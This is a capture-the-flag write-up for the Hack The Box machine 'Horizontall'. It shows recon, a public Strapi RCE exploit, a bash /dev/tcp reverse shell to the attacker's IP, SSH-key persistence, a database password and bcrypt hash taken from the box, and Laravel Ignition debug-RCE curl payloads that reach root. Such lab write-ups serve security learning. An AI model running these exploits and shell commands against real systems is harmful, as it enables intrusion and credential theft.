> For the complete documentation index, see [llms.txt](https://shibudocs.gitbook.io/htb-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shibudocs.gitbook.io/htb-writeups/boxes-easy/horizontall.md).

# Horizontall

`sudo nmap -A -p- -oA nmap-horizontall 10.10.11.105`

```
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
|_http-server-header: nginx/1.14.0 (Ubuntu)
```

We are redirected to horizontall.htb when giving the IP

<figure><img src="/files/lQNRqDly1iemlrhMnmvX" alt=""><figcaption></figcaption></figure>

At the bottom there is a contact form:

<figure><img src="/files/eX8NNsSzFaqysQYSTQSM" alt=""><figcaption></figcaption></figure>

The site does not have cookies.

<https://horizontall.htb> does not connect.

Checking with Burpsuite, the contact form does not send anything.

According to Wappalyzer the site uses: Ubuntu, Nginx 1.14.0, Webpack and core-js 3.13.1

Simple webdir/file scan:

`feroxbuster -u http://horizontall.htb`

<http://horizontall.htb/js/app.c68eb462.js>

VHost scan:

`ffuf -u http://horizontall.htb -H 'Host: FUZZ.horizontall.htb' -w /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt -t 64 -fs 194`

api-prod

Checking some extensions, index.html works, so it's a static page as it seems.

In one of the js files “Vue.js v2.6.12” is mentioned.

For the OpenSSH version there is a username enumeration according to searchsploit, but nothing really interesting.

Adding the Domain I found with the VHost scan to my hosts file, I can access it:

{% embed url="<http://api-prod.horizontall.htb/>" %}

<figure><img src="/files/lCmbtyfjIekIU0hSuJRO" alt=""><figcaption></figcaption></figure>

`feroxbuster -u` [`http://api-prod.horizontall.htb/`](http://api-prod.horizontall.htb/)

This quickly found somthing:

```
/admin
/admin/layout
/admin/init
/reviews
/users
```

<figure><img src="/files/sP8NBJxIgTNIE5tMxbxw" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/hSdZDjsLUJivd7eEN8XY" alt=""><figcaption></figcaption></figure>

So Strapi is the CMS. The site also uses styled-components 4.4.1 and React.

Searching for strapi, there is a striking vulnerability:

<figure><img src="/files/W3bgVcJJdqk5y4iY71j8" alt=""><figcaption></figcaption></figure>

## Strapi RCE

{% embed url="<https://www.exploit-db.com/exploits/50239>" %}

<figure><img src="/files/JLUfek143a6CyskjTD3q" alt=""><figcaption></figcaption></figure>

This seems to be the way as the exploit worked to get a valid token

authenticated JSON Web Token:

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzA1NDA1MTc5LCJleHAiOjE3MDc5OTcxNzl9.-6PxktG8qMTglMPv2PYTPQDrzc6bb7oIG01Ml8DzC9M
```

I tried some commands in the exploit shell and this one worked to get a netcat shell:

`bash -c 'bash -i >& /dev/tcp/10.10.16.4/4444 0>&1'`

<figure><img src="/files/5H9E3xO4jYYkWgFcdGEg" alt=""><figcaption></figcaption></figure>

I added my public ssh key for persistence, which worked to get ssh access.

## Internal Enumeration

The user is strapi and his home is /opt/strapi. **sudo -l** does not work and he has no special groups.

**ss -tlpn** reveils that port 1337 and port 3306 (mysql) are internally listening. 1337 comes from the exploit, but the database might be of interest.

In /home there is the user ‘developer’.

`uname -a`**:** Linux horizontall 4.15.0-154-generic

I transferred linpeas.sh onto /opt/strapi/ with wget, made it executable with chmod +x and executed it

* CVE-2021-4034 might work
* strapi 1879 0.0 2.5 883716 51924 ? Ssl Jan15 0:12 PM2 v4.5.6: God Daemon (/opt/strapi/.pm2)

```
══╣ Possible private SSH keys were found!
/opt/strapi/myapi/node_modules/spdy/test/fixtures.js
/opt/strapi/myapi/node_modules/selfsigned/README.md
/opt/strapi/myapi/node_modules/nodemailer-fetch/test/fetch-test.js
/opt/strapi/myapi/node_modules/public-encrypt/test/rsa.1024.priv
/opt/strapi/myapi/node_modules/public-encrypt/test/test_key.pem
/opt/strapi/myapi/node_modules/public-encrypt/test/rsa.pass.priv
/opt/strapi/myapi/node_modules/public-encrypt/test/pass.1024.priv
/opt/strapi/myapi/node_modules/public-encrypt/test/rsa.2028.priv
/opt/strapi/myapi/node_modules/public-encrypt/test/ec.priv
/opt/strapi/myapi/node_modules/public-encrypt/test/test_rsa_privkey_encrypted.pem
/opt/strapi/myapi/node_modules/public-encrypt/test/test_rsa_privkey.pem
/opt/strapi/myapi/node_modules/public-encrypt/test/ec.pass.priv
/opt/strapi/myapi/node_modules/request/node_modules/http-signature/http_signing.md
/opt/strapi/myapi/node_modules/http-signature/http_signing.md
- /tmp/tmux-1001
- -rw-rw-r-- 1 strapi strapi 351 May 26  2021 /opt/strapi/myapi/config/environments/development/database.json
{
  "defaultConnection": "default",
  "connections": {
    "default": {
      "connector": "strapi-hook-bookshelf",
      "settings": {
        "client": "mysql",
        "database": "strapi",
        "host": "127.0.0.1",
        "port": 3306,
        "username": "developer",
        "password": "#J!:F9Zt2u"
      },
      "options": {}
    }
  }
}
```

There we go, we have a password.

<figure><img src="/files/etetDHkbEwxk5y9jZCHv" alt=""><figcaption></figcaption></figure>

I could log in with `mysql -u developer -p`

<figure><img src="/files/uVn54akV2DsgSCyR3cQr" alt=""><figcaption></figcaption></figure>

```
use strapi;
show tables;
select * from strapi_administrator;
```

<figure><img src="/files/Uq9LMezKH0g77JpphuJu" alt=""><figcaption></figcaption></figure>

```
admin:$2a$10$5ifT08Gg.vNohDdl33qY..eiL77hPRKPdsaj7zFqCa8TZez6JN4s2
```

`hashcat --help | grep -i blowfish`

3200 | bcrypt $2\*$, Blowfish (Unix) | Operating System

`hashcat -a 0 -m 3200 '$2a$10$5ifT08Gg.vNohDdl33qY..eiL77hPRKPdsaj7zFqCa8TZez6JN4s2' /usr/share/seclists/Passwords/rockyou.txt`

This would take 9h, even on my GPU.

In my **ss -tlpn** output I overlooked that there is port 8000 open, which is unusual. I will start an ssh dynamic port forwarding and see whats on this port. Before that I will have a look at the database again.

## Internal Website Enumeration

`ssh -D 9050 -i id_ed25519 root@10.10.11.105`

`proxychains nmap -A -p 8000 localhost`

```
PORT     STATE SERVICE VERSION
8000/tcp open  http    (PHP 7.4.22)
|_http-title: Laravel
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Date: Wed, 17 Jan 2024 11:27:44 GMT
|     Connection: close
|     X-Powered-By: PHP/7.4.22
|     Content-Type: text/html; charset=UTF-8
|     Cache-Control: private, must-revalidate
Set-Cookie: laravel_session=eyJpdiI6IkkrMU91TVUyUW0vaTlMTFNTTURkVGc9PSIsInZhbHVlIjoiNnlFQ29CUjlMbmUvYjRZQXFDSk9rMXdNbUdTT3R4MjBLSHF6THQxK0pOTXQ2TC9BVWxkVUNhRGpRWkg3Z09VVWpHK0h4TGxvTDFyVmhwNUVKUjF0ODhhamw3TW04b1dxZzdnVW5DV1
Set-Cookie: XSRF-TOKEN=eyJpdiI6IllXTjVPMXpWaU9wRDE2ZkwrR25zOWc9PSIsInZhbHVlIjoid1pNT1JrcDdEOEluak1UYWpJdlZlaDdWNzh2Q0RrVUpOWEZBcHJvOVN4dDZySXZ4QlJVeWZuRHV6anRVck5PYkJsZTQ0WFRuNndWMkRjeFFzamlCM3cySlpSVXMvcVVjWk1UMlRrT29yRWRBeHB0ZkZ3Rld2RUNDM0dFQXMxK2MiLCJtYWMiOiJmNjMxOWE1Y2FjMTcyZjg1ZDZhN2Y0NTliMzYyNWM3ZmJjZWNiMTVkMzU1MzJkNzFmODhkOGY2YzY5ZGJmYTQ1In0%3D
```

I did not manage to establish a proxied connection to the server with a browser at first, but a simple `proxychains curl` [`http://127.0.0.1:8000/`](http://127.0.0.1:8000/) revealed this:

Laravel v8 (PHP v7.4.18)

searchsploit does not return anything for Laravel v8. A web search shows a possible RCE for some Laravel 8 versions. I will try this: <https://www.exploit-db.com/exploits/49424>

## Laravel RCE

After downloading the necessary dependency I attempted the exploitatoin with this:

`proxychains python3 exploit.py http://127.0.0.1:8000 /var/www/html/laravel/storage/logs/laravel.log 'id'`

Since this did not work because of network issues, I transferred the exploit onto the host and executed it there.

This did not work either, as it seems, again because of some networking issues.

For some reason, `proxychains curl` [`http://127.0.0.1:8000`](http://127.0.0.1:8000) works, but using a proxy in the browser does not.

Finally, I could make it work, there was just a misconfiguration in the browser settings.

<figure><img src="/files/jRIIXubFyq6kw49Uj5IU" alt=""><figcaption></figcaption></figure>

I had to set the socks5 proxy 127.0.0.1:9050 in the browser after setting localhost proxy manipulation protection to off in about:config

`feroxbuster --proxy socks5://127.0.0.1:9050 -u` [`http://127.0.0.1:8000/`](http://127.0.0.1:8000/) `-C 404 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt`

`ls -lRha | grep -i laravel`

I could now try the exploit again, but I noticed that there is no laravel log file, so It will not work anyways. I searched the entire system and there are no files with laravel in the name.

{% embed url="<https://esmyl.medium.com/exploiting-laravel-v8-30-0-php-v7-3-25-debug-rce-3731f69c33d7>" %}

This looks promising, I might have to make the server create a log first.

According to the article, the test for vulnerability worked and the following command returned the right error:

`curl -d '{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "/etc/passwd%00"}}' -H 'Content-Type: application/json' http://127.0.0.1:8000/_ignition/execute-solution | grep failed`

Then the guide suggest clearing the log file like this:

`curl -H 'Content-Type: application/json' -X POST -d '{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "php://filter/read=consumed/resource=/src/storage/logs/laravel.log"}}'` [`http://127.0.0.1:8000/_ignition/execute-solution`](http://127.0.0.1:8000/_ignition/execute-solution)

This returned a ton of output and also revealed the folder /home/developer/myproject/vendor/laravel

Since I finally know the laravel folder, I might try the other exploit from exploitdb again.

I retrieved this on my host: git clone <https://github.com/ambionics/phpggc.git> and made a tarball of it and transferred it onto the target with a python server and wget. I then executed the python exploit again, but it did not work, so I will continue to follow the guide.

`python3 exploit.py` [`http://127.0.0.1:8000`](http://127.0.0.1:8000) `/home/developer/myproject/vendor/laravel/storage/logs/laravel.log ‘id’`

I will poke around more to find the log location

Got it!

```
python3 exploit.py http://127.0.0.1:8000 /home/developer/myproject/storage/logs/laravel.log 'id'
Exploit...
uid=0(root) gid=0(root) groups=0(root)
```